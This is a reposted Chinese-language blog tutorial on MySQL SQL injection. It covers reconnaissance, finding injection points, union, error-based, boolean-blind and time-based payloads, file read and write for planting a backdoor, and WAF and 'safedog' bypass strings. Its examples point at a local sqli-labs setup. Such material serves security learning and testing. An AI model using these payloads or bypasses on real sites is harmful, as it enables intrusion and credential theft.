IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> Web TOP10漏洞之sql注入 -> 正文阅读

[大数据]Web TOP10漏洞之sql注入

  • sql注入漏洞

目录

sql注入漏洞

信息搜集:

方法

1.判断是否存在注入点

2.数字or字符or搜索

3.提交方式?

4.判断注入姿势

5.玩法^_^

补充知识:

绕过过滤

其他数据库


信息搜集:

搜集数据库的操作系统(windows or linux涉及的内容不同),数据库名(不同语言),数据库用户(权限),数据库版本(不同语言,姿势),网站路径(网站源码放在何路径)。

数据库版本:version() 获取版本以及数据库系统

数据库名字:database() 当前所在数据库的名字

数据库用户:user() 当前用户

操作系统:@@version_compile_os 操作系统

信息搜集下的问题处理:


版本问题

数据库语言基本差不多,语法上有区别。

1.查询方式:mysql5.0版本以上定义了一个information_schema而5.0以下版本没有,则说明5.0版本以下查询猜、暴力查询(无据),而5.0以上通过有据查询。

2.写文件权限:在 MySQL 5.5 之前 secure_file_priv 默认是空;? ? ? 在 MySQL 5.5之后 secure_file_priv 默认是 NULL。

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

空白地方的值

NULL	不允许导入或导出
/tmp	只允许在 /tmp 目录导入导出
空	    不限制目录

3.不同的数据库,使用的操作语言不同,注入的姿势也不同。?

数据库用户权限

低权限查询密码,找后台登录,高权限写后门。

1.跨库查询:具有最高权限的用户才有权限跨库查询,即好几个网站的数据库写在一起,可以通过一个的权限,去查其他的。

2.文件写入:高权限用户具有写入权限。(一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。)

网站路径

路径获取方法:网页出现错误泄露路径,通过扫描工具获取路径(如看看有没有扫描出phpinfo),知道对方是什么程序搭建而去搜索该程序的爆路径漏洞

1.通过sql语句,将文件写入相关路径。(还涉及到路径是否允许写入文件的权限。)

系统问题

1.在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。

数据库名

1.知悉数据库结构,层次。

数据库的结构?

information_schema.tables?? ??? ??? ?#information_schema下面的所有表名information_schema.columns?? ??? ?#information_schema下面所有的列名

information_schema.schemata? ? ? #information_schema下面所有的数据库名

schema_name? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查数据库中的数据库名所用到
table_name?? ??? ??? ??? ??? ??? ??? ??? ??? ?#表名
column_name?? ??? ??? ??? ??? ??? ??? ??? ??#列名
table_schema?? ??? ??? ??? ??? ??? ??? ??? ??#数据库名//选择数据库时所用到


方法

1.判断是否存在注入点

即是否被带入查询,查不到页面不会报错,但是如果不是数据库查询,则会因为找不到网页而404报错。

SELECT * FROM users WHERE id=1aaaaaaaa(随便输入) LIMIT 0,1

2.数字or字符or搜索

数字可包含引号括号,字符一定包含引号(单引号和双引号其一被另外一包含不会报错,而正确注入不能有杂乱符号,细品),括号不确定。

单引号注释--错误--双引号,单引号双引号,单引号双引号括号,单引号括号,双引号括号,双引号多括号,多引号多括号。
单引号注释--正确--单引号

搜索型:select * from user where id like '%haha%';? haha为写入的参数,注意注释括号及后面引号

3.提交方式?

GET,POST,REQUEST,HTTP头,COOKIE

http头中请求的位置无法确定,关键是要判断注入点,即什么位置的信息被查询然后回回显在网站上,并且当其被修改后网页不会报错。

4.判断注入姿势

回显or无回显

有回显(闭合--order--union)即select语句


无回显:?根据页面的环境判断查询方式

注册,添加用户:insert into news(id,url,text) values(2,'x','$t')? ? ?//在两个引号之间用or连接,并且闭合引号? ? ?例如? ???insert into news(id,url,text) values(2,'x','xiaoyu'?or 语句 or '')

删除用户? ? ? ? ? ?:delete from news where id=$id

修改密码? ? ? ? ? ?:update user set pwd='$p' where id=2 and username='admin'? //$p在前面所以要注意不要注释?

为了能使爆出信息,用盲注

报错注入:(为单独语句)
updataxml、extractvalue函数?? ? ? updataxml( 1, b, 1); ?

b通常为concat(0x7e,(select version()),0x7e) ? ?//即用到了updataxml函数与cancat函数

逻辑注入:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+ ? 看页面是否回显正确

延时注入:
if(语句,1,sleep(2))


补充:逻辑注入、延时注入函数

length(database())=8? ? ? ? ? ? ? ? ?#判断数据库database()名的长度

substr($x,1,1)mid(a,b,c)?? ? ? ? #第一个1为起始位置,第二个1为长度

left函数?? ?left(database(),1)? ? ? ?#left(a,b)从左侧截取a的前b位

ascii(a)=65ord(a)=65? ? ? ? ? ? ? #为了用ASCILL值缩小范围

5.玩法^_^

  • %3D是=(base64加密)?
  • 二次注入,常出现在注册已被注册账号然后修改密码,然后改原账号密码

补充知识:

文件读写

文件读写

读:load_file()

select load_file('C:\\haha\\tianyu.php');

?写:into outfile或者into dumpfile()

select into outfile 'D:\\haha\tianyu.php';

绕过过滤

1.绕过代码层(即为代码审计层面)

  • ?大小写绕过
  • 双写
  • 使用编码
①url编码
在get方式上可以通过二次编码绕过
②16进制编码
对单个    id=-1 /!u%6eion/ /!se%6cect/ 1,2,3
对整个    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
          selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
对字符串编码在前面需要加0x
  • ?注释绕过? ? ?(普通注释U/**/NION 和 mysql特有的/!union/)
  • 等价函数? ? ? ? ?或者不同方法切换(例如ascii码变为直接查字母)
concat_ws()==>group_concat()
SELECT CONCAT_WS('~',username,password) FROM admin;

针对绕过,空格可以用括号或者/**/绕过,引号用16进制编码

魔术引号:宽字节绕过*、多重url编码*

?


2.绕过安全狗

  • %0a与注释符联用以及内联注释????????//部分waf遇到%00截断,只能获取到前面的参数
%23a%0aunion%23a%0aselect 1,2,3 from users
%20/*!44509union*/%23x%0aselect  1,2..
1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23a%0aselect%201,2,3d
  • 修改代理白名单? ? ? ? X-forwarded-for
  • 静态资源欺骗
    http://127.0.0.1/sql.php/1.js?id=1
    备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。

  • 爬虫等? ? ? ? ? ? ? ? ? ? ? ?User-Agent欺骗

其他数据库

access,mssql,oracle

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-28 22:59:51  更:2021-12-28 23:00:39 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:30:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码